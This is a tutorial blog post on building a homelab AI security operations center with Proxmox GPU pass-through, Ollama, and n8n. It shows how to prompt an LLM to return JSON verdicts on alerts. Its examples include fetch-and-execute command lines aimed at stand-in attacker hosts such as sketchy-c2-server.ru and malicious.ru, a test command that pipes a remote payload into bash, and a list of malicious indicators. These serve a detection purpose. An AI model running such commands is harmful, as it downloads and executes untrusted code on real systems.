# Building an Autonomous AI SOC: The Local AI Brain (Prompting for Detection)

Date: 2026-07-03

Time to teach a language model the difference between `curl https://example.com` and `curl https://sketchy-c2-server.ru | bash`. Spoiler: it's all in the prompt.

<!--more-->

## The GPU Pass-Through Gauntlet

Before we can run inference, we need to solve Proxmox's most annoying problem: GPU pass-through. NVIDIA drivers throw Error 43 when they detect a hypervisor, because NVIDIA would prefer you buy their $5,000 datacenter GPUs instead of using your gaming card.

### Step 1: Enable IOMMU in BIOS

Reboot your Proxmox host, enter BIOS, and enable:
- **Intel:** VT-d
- **AMD:** AMD-Vi or IOMMU

Save and reboot.

### Step 2: Configure Proxmox for IOMMU

SSH into your Proxmox host:

```bash
# Edit GRUB
nano /etc/default/grub

# For Intel CPUs, modify GRUB_CMDLINE_LINUX_DEFAULT:
GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt"

# For AMD CPUs:
GRUB_CMDLINE_LINUX_DEFAULT="quiet amd_iommu=on iommu=pt"

# Update GRUB
update-grub

# Load VFIO modules
echo "vfio" >> /etc/modules
echo "vfio_iommu_type1" >> /etc/modules
echo "vfio_pci" >> /etc/modules
echo "vfio_virqfd" >> /etc/modules

# Reboot
reboot
```

### Step 3: Identify Your GPU's PCI ID

```bash
lspci -nn | grep -i nvidia
```

Output example:
```
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GA106 [GeForce RTX 3060] [10de:2503] (rev a1)
01:00.1 Audio device [0403]: NVIDIA Corporation GA106 High Definition Audio Controller [10de:228e] (rev a1)
```

Note the IDs: `10de:2503` (GPU) and `10de:228e` (audio controller).

### Step 4: Blacklist NVIDIA Drivers on the Host

We don't want the Proxmox host using the GPU—only the VM should.

```bash
echo "blacklist nouveau" >> /etc/modprobe.d/blacklist.conf
echo "blacklist nvidia" >> /etc/modprobe.d/blacklist.conf
echo "blacklist nvidiafb" >> /etc/modprobe.d/blacklist.conf

# Bind GPU to VFIO at boot
echo "options vfio-pci ids=10de:2503,10de:228e" > /etc/modprobe.d/vfio.conf

update-initramfs -u
reboot
```

### Step 5: Add GPU to the Ollama VM

In the Proxmox web UI:
1. Select your Ollama VM
2. Hardware → Add → PCI Device
3. Select your GPU (`01:00.0`)
4. Check "All Functions" (includes the audio controller)
5. Check "Primary GPU" (optional, only if this is the only GPU)
6. **Important:** Enable "ROM-Bar" and "PCI-Express"

Start the VM.

### Step 6: Install NVIDIA Drivers Inside the VM

SSH into the Ollama VM (Ubuntu 26.04):

```bash
# Check if GPU is visible
lspci | grep -i nvidia
# You should see your GPU listed

# Add NVIDIA driver repository
sudo add-apt-repository ppa:graphics-drivers/ppa -y
sudo apt update

# Install the driver (check nvidia.com for the latest version)
sudo apt install -y nvidia-driver-550

# Reboot the VM
sudo reboot
```

After reboot:

```bash
# Verify the driver loaded
nvidia-smi
```

You should see your GPU, VRAM, driver version, and CUDA version. If you see "NVIDIA-SMI has failed because it couldn't communicate with the NVIDIA driver," you're in Error 43 hell.

### The Error 43 Fix (When All Else Fails)

If `nvidia-smi` fails, NVIDIA detected the hypervisor. Fix:

```bash
# On the Proxmox host, edit the VM config
nano /etc/pve/qemu-server/<VM_ID>.conf

# Add these lines:
args: -cpu host,kvm=off,hv_vendor_id=proxmox
cpu: host,hidden=1,flags=+pcid

# Save and start the VM
qm start <VM_ID>
```

This masks the hypervisor signature. NVIDIA's drivers are now fooled into thinking they're on bare metal.

Run `nvidia-smi` again. If it works, we're done. If not, sacrifice a USB-C cable to the silicon gods and try again.

## Ollama Deployment: The Inference Server

With the GPU working, we can deploy Ollama.

```bash
# Install Ollama (Ubuntu 26.04)
curl -fsSL https://ollama.ai/install.sh | sh

# Verify installation
ollama --version

# Pull a model (Llama-3 8B)
ollama pull llama3:8b

# Test inference
ollama run llama3:8b "What is the MITRE ATT&CK technique for process injection?"
```

If this returns a coherent answer, your GPU is working and the model loaded successfully.

### Configure Ollama as a Service

By default, Ollama listens on `localhost:11434`. We need it to accept connections from n8n (on another VM).

```bash
# Edit the systemd service
sudo systemctl edit ollama.service

# Add these lines in the override section:
[Service]
Environment="OLLAMA_HOST=0.0.0.0:11434"

# Reload and restart
sudo systemctl daemon-reload
sudo systemctl restart ollama.service

# Verify it's listening
sudo ss -tulnp | grep 11434
```

You should see Ollama listening on `0.0.0.0:11434`.

**Security note:** Do NOT expose this to the internet. Firewall it to your homelab subnet only.

## The Prompt Engineering Problem: Making LLMs Output Structured Data

LLMs are trained to output natural language. We need JSON with specific fields:
- `confidence_score` (integer, 0-100)
- `verdict` (string: "benign", "suspicious", "malicious")
- `reasoning` (string: why the model reached this conclusion)
- `uncertainty_reason` (string: why the model is unsure, if confidence < 80)

**The naive approach:**

```
You are a security analyst. Is this command malicious?
Command: curl http://example.com | bash
```

**LLM response:**
```
This command is potentially dangerous because it downloads and executes a script 
from the internet without inspection. It could be malicious, but it depends on 
the source. I would rate this as suspicious.
```

This is useless for automation. We can't parse "potentially dangerous" or "depends on the source."

**The correct approach:** Force structured output via system prompt and response format.

### System Prompt Design

Here's the prompt template we'll use:

```
You are an expert security detection engineer analyzing potentially malicious activity.

Your task: Analyze the provided telemetry data and determine if it represents malicious, suspicious, or benign behavior.

OUTPUT REQUIREMENTS:
You MUST respond with ONLY valid JSON in this exact format (no markdown, no explanations outside the JSON):

{
  "verdict": "<benign|suspicious|malicious>",
  "confidence_score": <integer 0-100>,
  "reasoning": "<concise explanation of your analysis>",
  "uncertainty_reason": "<if confidence < 80, explain why you are uncertain>",
  "mitre_tactics": ["<MITRE ATT&CK tactic IDs if applicable, empty array if none>"]
}

ANALYSIS CRITERIA:
- Benign: Normal system activity, no indicators of compromise
- Suspicious: Anomalous behavior that could be legitimate or malicious
- Malicious: Clear indicators of attack, exploitation, or unauthorized access

CONFIDENCE GUIDELINES:
- 90-100: High confidence, clear indicators
- 70-89: Moderate confidence, some ambiguity
- 50-69: Low confidence, significant uncertainty
- 0-49: Very low confidence, insufficient data or conflicting signals

If confidence < 80, you MUST populate the "uncertainty_reason" field.

TELEMETRY DATA:
```

### Example 1: Suspicious Command Line

**Telemetry:**
```json
{
  "rule_description": "Suspicious command execution detected",
  "severity": 10,
  "agent_name": "web-server-01",
  "process_name": "bash",
  "process_cmdline": "curl http://192.168.1.100:8080/payload.sh | bash",
  "user": "www-data",
  "parent_process": "apache2"
}
```

**Full prompt to Ollama:**
```
You are an expert security detection engineer analyzing potentially malicious activity.

Your task: Analyze the provided telemetry data and determine if it represents malicious, suspicious, or malicious behavior.

OUTPUT REQUIREMENTS:
You MUST respond with ONLY valid JSON in this exact format (no markdown, no explanations outside the JSON):

{
  "verdict": "<benign|suspicious|malicious>",
  "confidence_score": <integer 0-100>,
  "reasoning": "<concise explanation of your analysis>",
  "uncertainty_reason": "<if confidence < 80, explain why you are uncertain>",
  "mitre_tactics": ["<MITRE ATT&CK tactic IDs if applicable, empty array if none>"]
}

TELEMETRY DATA:
{
  "rule_description": "Suspicious command execution detected",
  "severity": 10,
  "agent_name": "web-server-01",
  "process_name": "bash",
  "process_cmdline": "curl http://192.168.1.100:8080/payload.sh | bash",
  "user": "www-data",
  "parent_process": "apache2"
}
```

**Expected LLM response:**
```json
{
  "verdict": "malicious",
  "confidence_score": 95,
  "reasoning": "Web server process (apache2) spawned bash to download and execute a remote script. The user 'www-data' indicates this originated from a web application, likely via command injection. The use of curl piped to bash is a common post-exploitation technique.",
  "uncertainty_reason": "",
  "mitre_tactics": ["TA0002", "TA0004"]
}
```

### Example 2: Ambiguous Activity

**Telemetry:**
```json
{
  "rule_description": "Multiple authentication failures",
  "severity": 8,
  "agent_name": "ssh-bastion",
  "user": "admin",
  "source_ip": "192.168.1.55",
  "failed_attempts": 5,
  "time_window": "30 seconds"
}
```

**Expected LLM response:**
```json
{
  "verdict": "suspicious",
  "confidence_score": 65,
  "reasoning": "Five failed SSH authentication attempts from an internal IP (192.168.1.55) within 30 seconds. This could indicate a brute-force attack or a legitimate user with a misconfigured client or forgotten password.",
  "uncertainty_reason": "Internal IP reduces likelihood of external attack. Failed attempt count is low (5 attempts). Need additional context: is this IP a known admin workstation? Has this user failed authentication before?",
  "mitre_tactics": ["TA0006"]
}
```

Notice: confidence is 65%, so the model populated `uncertainty_reason`. This tells our SOAR workflow to escalate to a human instead of auto-blocking.

## Integrating Ollama with n8n

Back in n8n, we'll modify the workflow from Part 2 to call Ollama.

### n8n Workflow Update

1. **After the Switch node** (which routes by severity), add an **HTTP Request node** for each branch:

**Node name:** "Analyze with Ollama"

**Configuration:**
- Method: POST
- URL: `http://192.168.1.13:11434/api/generate`
- Headers:
  - `Content-Type`: `application/json`
- Body (JSON):

```json
{
  "model": "llama3:8b",
  "prompt": "You are an expert security detection engineer...\n\nTELEMETRY DATA:\n{{ JSON.stringify($json) }}",
  "stream": false,
  "format": "json"
}
```

2. **Add a Function node** to parse Ollama's response:

```javascript
// Ollama returns a JSON object with a "response" field containing the LLM's output
const ollamaResponse = JSON.parse($json.response);

return {
  ...ollamaResponse,
  original_alert: $('Webhook').item.json // Preserve the original Wazuh alert
};
```

3. **Add another Switch node** to route by confidence score:

- If `confidence_score >= 90` AND `verdict == "malicious"`: Route to "Auto-Block"
- If `confidence_score >= 80` AND `verdict == "suspicious"`: Route to "Alert Human"
- If `confidence_score < 80`: Route to "Escalate to Human"

4. **For now, add HTTP Request nodes** to log the output:
   - **Auto-Block branch:** POST to a test endpoint (we'll replace this with Wazuh API calls in Part 4)
   - **Alert Human branch:** POST to Telegram webhook
   - **Escalate branch:** POST to Telegram webhook with "low confidence" flag

### Testing the AI Analysis

Trigger an alert from Part 2:

```bash
# On a monitored host, execute a suspicious command
curl http://192.168.1.100:8080/fake-payload.sh | bash
```

Watch the n8n workflow:
1. Webhook receives Wazuh alert
2. Severity check routes to Ollama
3. Ollama analyzes the command
4. Response is parsed and routed by confidence score

Check your Telegram: you should receive a message with:
- Verdict
- Confidence score
- Reasoning
- The original alert data

## Prompt Tuning: Making the Model Smarter

The system prompt above is generic. For better results, tune it with domain-specific knowledge.

### Technique 1: Add Known-Good Patterns

```
KNOWN BENIGN PATTERNS:
- apt/yum/dnf package managers downloading from official repositories
- curl/wget downloading from github.com, pypi.org, npmjs.com
- Scripts run by root from /etc/cron.daily or /etc/cron.weekly
- SSH connections from known admin IP ranges: 192.168.1.0/24, 10.0.0.0/8
```

### Technique 2: Add Known-Bad Indicators

```
HIGH-CONFIDENCE MALICIOUS INDICATORS:
- Base64-encoded commands in bash/powershell
- curl | bash from unknown domains
- Scripts spawned by www-data, nginx, apache2
- Connections to Tor exit nodes or known C2 infrastructure
- PowerShell -EncodedCommand or -WindowStyle Hidden
```

### Technique 3: Few-Shot Examples

Include 2-3 examples of past alerts with correct verdicts:

```
EXAMPLE 1:
Input: {"process": "bash", "cmdline": "echo 'test' > /tmp/file.txt", "user": "admin"}
Output: {"verdict": "benign", "confidence_score": 95, "reasoning": "Simple file write by admin user"}

EXAMPLE 2:
Input: {"process": "bash", "cmdline": "wget http://malicious.ru/bot.sh && chmod +x bot.sh && ./bot.sh", "user": "www-data"}
Output: {"verdict": "malicious", "confidence_score": 98, "reasoning": "Web server user downloading and executing remote script"}
```

This trains the model's in-context learning.

## Model Selection: Llama-3 vs Mistral vs Qwen

Different models have different strengths for security analysis.

| Model | Size | VRAM | Strengths | Weaknesses |
|-------|------|------|-----------|------------|
| **Llama-3 8B** | 8B params | ~6GB | Best general reasoning, good at structured output | Slower inference (~2-3s) |
| **Mistral 7B** | 7B params | ~5GB | Fast inference (~1-2s), decent reasoning | Occasionally ignores JSON format instructions |
| **Qwen-2.5 7B** | 7B params | ~5GB | Excellent at following instructions, fast | Less common, smaller community |

For this homelab SOC, I recommend **Llama-3 8B**. It's the most reliable for structured JSON output.

To switch models:

```bash
# Pull a different model
ollama pull mistral:7b

# Update the n8n HTTP Request node to use "mistral:7b" instead of "llama3:8b"
```

## What's Next?

In **Part 4: Automation & The Confidence Threshold**, we'll:
- Write SOAR playbooks that act on the AI's verdicts
- Implement auto-response via the Wazuh API (isolate hosts, kill processes)
- Build Telegram alerting with inline action buttons ("Block this IP" / "Whitelist")
- Discuss adversarial testing: can we trick the model into misclassifying malicious activity?

**Key takeaway:** The confidence score is the most important field in the LLM's response. Treat it as a routing signal, not noise.

---

**Struggling with GPU pass-through or getting garbage JSON from your LLM?** I'm on [LinkedIn](https://www.linkedin.com/in/erangoldman). Let's debug together.

---

### References

- [Ollama Documentation](https://ollama.ai/docs)
- [Proxmox GPU Passthrough Guide](https://pve.proxmox.com/wiki/PCI_Passthrough)
- [NVIDIA VFIO Error 43 Fix](https://wiki.archlinux.org/title/PCI_passthrough_via_OVMF#%22Error_43:_Driver_failed_to_load%22_with_mobile_(Optimus/max-q)_nvidia_GPUs)
- [MITRE ATT&CK Framework](https://attack.mitre.org/)
- [Prompt Engineering for Structured Output](https://platform.openai.com/docs/guides/structured-outputs)